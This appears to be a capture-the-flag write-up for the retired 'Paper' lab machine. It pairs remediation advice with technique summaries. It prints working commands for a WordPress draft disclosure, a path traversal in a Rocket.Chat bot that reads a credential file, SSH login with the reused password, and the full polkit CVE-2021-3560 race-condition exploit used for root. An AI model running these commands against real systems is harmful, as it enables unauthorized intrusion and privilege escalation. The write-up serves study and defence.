Paper
Summary
My read a hidden WordPress draft post that disclosed a private Rocket.Chat registration link, registered an account on the company's internal chat platform, then exploited a path-traversal flaw in a Rocket.Chat automation bot to read a cleartext credential file on the server. The recovered password was reused as the SSH login for user dwight, granting an interactive shell and the user flag.
From that foothold, a publicly available race-condition exploit against the unpatched polkit service (CVE-2021-3560) created a new administrator-level local account, which I used to obtain a root shell and capture the root flag.
Command conventions
The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].
export TARGET="<retired-instance-ip>"
export PASSWORD="<a-password-you-choose>"
export PASSWORD2="<a-password-you-choose>"
export PASSWORD3="<a-password-you-choose>"
export PASSWORD4="<a-password-you-choose>"Attack path — how the box was taken
Exact commands 3
nmap -sC -sV -p 22,80,443 $TARGETcurl -sI http://$TARGET | grep -i x-backendecho "$TARGET office.paper chat.office.paper" >> /etc/hostsFixStrip internal hostnames from HTTP response headersLow
Exact commands 2
curl -s 'http://office.paper/?static=1' | grep -i 'chat\|register\|http'curl -s 'http://office.paper/?static=1&page=1' | grep -i 'secret\|password\|link'FixUpdate WordPress to patch unauthenticated draft-post disclosure (CVE-2019-17671)High
Exact commands 2
# Navigate browser to http://chat.office.paper/register/$PASSWORD2 and create account 'probe'curl -s -X POST http://chat.office.paper/api/v1/login -H 'Content-Type: application/json' -d '{"user":"probe","password":"<probe-password>"}'FixRevoke and restrict Rocket.Chat self-registration invite linksMedium
Exact commands 3
curl -s -X POST http://chat.office.paper/api/v1/im.create -H "X-Auth-Token: $PASSWORD" -H 'X-User-Id: rL8uP4PBgoBxLXhTT' -H 'Content-Type: application/json' -d '{"username":"recyclops"}'curl -s -X POST http://chat.office.paper/api/v1/chat.sendMessage -H "X-Auth-Token: $PASSWORD" -H 'X-User-Id: rL8uP4PBgoBxLXhTT' -H 'Content-Type: application/json' -d '{"message":{"rid":"WoxmTzWbvoijWkN5XrL8uP4PBgoBxLXhTT","msg":"recyclops file ../hubot/.env"}}'curl -s 'http://chat.office.paper/api/v1/channels.messages?roomId=WoxmTzWbvoijWkN5XrL8uP4PBgoBxLXhTT&count=5' -H "X-Auth-Token: $PASSWORD" -H 'X-User-Id: rL8uP4PBgoBxLXhTT'FixRestrict the recyclops bot to a safe directory and validate all file-path inputsCritical
Exact commands 1
# From the bot reply, extract: ROCKETCHAT_PASSWORD=$PASSWORD3FixEliminate plaintext credentials in configuration files and enforce unique passwordsCritical
Exact commands 2
sshpass -p '$PASSWORD3' ssh -o StrictHostKeyChecking=no dwight@$TARGETcat /home/dwight/user.txtExact commands 5
rpm -qa polkitbash -c 'for i in $(seq 1 200); do dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:adm3500 string:"" int32:1 & sleep 0.005s; kill $!; done'PWHASH=$(python3 -c "import crypt; print(crypt.crypt('password', crypt.mksalt(crypt.METHOD_SHA512)))"); bash -c "for i in \$(seq 1 200); do dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User1005 org.freedesktop.Accounts.User.SetPassword string:'$PWHASH' string:'' & sleep 0.005s; kill \$!; done"sshpass -p '$PASSWORD4' ssh -o StrictHostKeyChecking=no adm3500@$TARGET 'id; sudo -S id <<< password'sshpass -p '$PASSWORD4' ssh -tt -o StrictHostKeyChecking=no adm3500@$TARGET 'echo password | sudo -S cat /root/root.txt'FixPatch polkit to remediate local privilege-escalation vulnerability (CVE-2021-3560)Critical
Attack patterns used
The transferable techniques behind this compromise.
CMS Exploitation (WordPress/Joomla/Drupal)WebT1190
What it is
Content management systems and their plugins/themes are a large attack surface: known-vulnerable versions, exposed admin panels, weak credentials, and insecure plugins lead to authenticated or unauthenticated RCE. wpscan enumerates WordPress versions/plugins/users; Joomla and Drupal have their own well-known RCE chains (e.g. Drupalgeddon).
Why it works
CMS deployments lag on patching and accumulate third-party plugins of varying quality, while admin interfaces are exposed. Remediate by patching core+plugins promptly, removing unused extensions, restricting admin access, and enforcing strong auth.
Read more
Password / Credential ReuseCredential Access · Lateral MovementT1078
What it is
A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.
Why it works
Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.